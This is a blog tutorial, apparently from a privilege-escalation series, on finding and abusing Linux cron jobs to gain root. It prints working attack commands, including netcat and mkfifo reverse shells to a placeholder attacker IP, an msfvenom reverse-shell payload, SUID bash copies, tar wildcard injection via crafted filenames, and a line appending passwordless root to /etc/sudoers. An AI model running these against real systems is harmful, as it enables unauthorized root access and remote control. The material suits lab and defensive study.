Privilege Escalation Techniques Series | Linux | Cron Jobs

In this post, we’ll explore how to find and exploit cron jobs for privilege escalation on a Linux system. Cron jobs are automated tasks that run at scheduled intervals, and misconfigurations or weaknesses in their setup can offer an attacker a path to root privileges.

Finding Cron Jobs

Before we exploit cron jobs, the first step is to locate them on the system. Here are some useful commands for finding cron jobs:

1. cat /etc/crontab – View system-wide cron jobs.
2. cat /etc/cron* – Check scheduled cron jobs across all cron directories.
3. ls -lah /etc/cron* – List cron files with detailed permissions.
4. sudo crontab -l – List cron jobs for the current user.
5. grep "CRON" /var/log/syslog – Search system logs for cron job activity.
6. cat /etc/cron.d – View jobs in the /etc/cron.d directory.
7. cat /var/spool/cron/crontabs/root – Check cron jobs scheduled by the root user.
8. Look for weird files in /opt or /tmp and check their timestamps.
9. Check suspicious files using ls -la to see their modification times.
10. Use pspy, a powerful tool to track process detect cron jobs in real time. (don’t worry about this, I will cover automated tools in last of series)

every 3 minutes this cron job runs

Exploiting Cron Job Weaknesses

1. Weak File Permissions

If a cron job file has write permissions, this can be exploited by injecting malicious code, like a reverse shell, into the file. (here cronjob is overwrite.sh and it is in /usr/local/bin/overwrite.sh)

echo 'nc KALI_IP 4444 -e /bin/sh' > /path/to/cronjob/file

Once injected, start a listener on your attack machine to catch the reverse shell connection.

Always ensure the cron job file has +sx permissions:

./bash -p

This ./bash -p pop up shell in same terminal but I advise to get reverse shell, preferably with rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc KALI_IP 4444 >/tmp/f

Tip: Check group permissions as well. Sometimes, you may belong to a group that has write permissions to cron jobs. ;-)

2. Path Variable Overtake

If the PATH variable in /etc/crontab isn't set securely, you can exploit this by creating a malicious file with the same name as an existing cron job. Make sure that new created file is in one of the shown path, example here you can make new file in /home/user/ and file is overwrite.sh so path for new file is /home/user/overwrite.sh and overwrite.sh is cronjob (check below image) as if system finds our file first before already presented file then it will overwrite past file and think that system needs to run this new file in cronjob with whatever access is given.

Simplest thing you can do is, start nc listener and put reverse shell in that new file.

other way is, Copy /bin/bash to /tmp/bash first then run /tmp/bash -p to escalate privilege.

cp /bin/bash /tmp/bash
chmod +sx /tmp/bash

NOTE: This method works only if the full path isn’t specified in the cron job (e.g., overwrite.sh instead of /full/path/to/overwrite.sh).

This method will create copy of bash file in /tmp with root permission as it was set by cronjob which is running as root!

3. Insecure Coding Practices

This is a vast area with many possibilities. The idea is to exploit vulnerabilities in scripts that are being run as cron jobs. One common tactic is to inject a payload that exploits an insecure script. Here wildcard (*) is covered:

our cronjob compress.sh have above things written inside it. Now go to defined path in that, which is /home/user and create two files with below code:

touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf

Transfer a payload (such as a reverse shell) to the target:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf

Also, after transfferreing with wget,curl, nc etc don’t forget to change it’s permission chmod +x /home/user/shell.elf

Now, just start listener and wait for connection.

Here’s HTB academy way to abuse wildcard (*) character:

Run below commands:

echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh

echo "" > "--checkpoint-action=exec=sh root.sh"

echo "" > --checkpoint=1

We can check and see that the necessary files were created.

Once the cron job runs again, we can check for the newly added sudo privileges and sudo to root directly.

Cron jobs, when misconfigured, can offer an attacker multiple ways to escalate privileges on a system. Always check for weak file permissions, path variable issues, and insecure coding practices when analyzing cron jobs for security weaknesses.

Next time will see you with some Super binaries :)

Connect with me on LinkedIn — don’t forget to drop a message after connecting!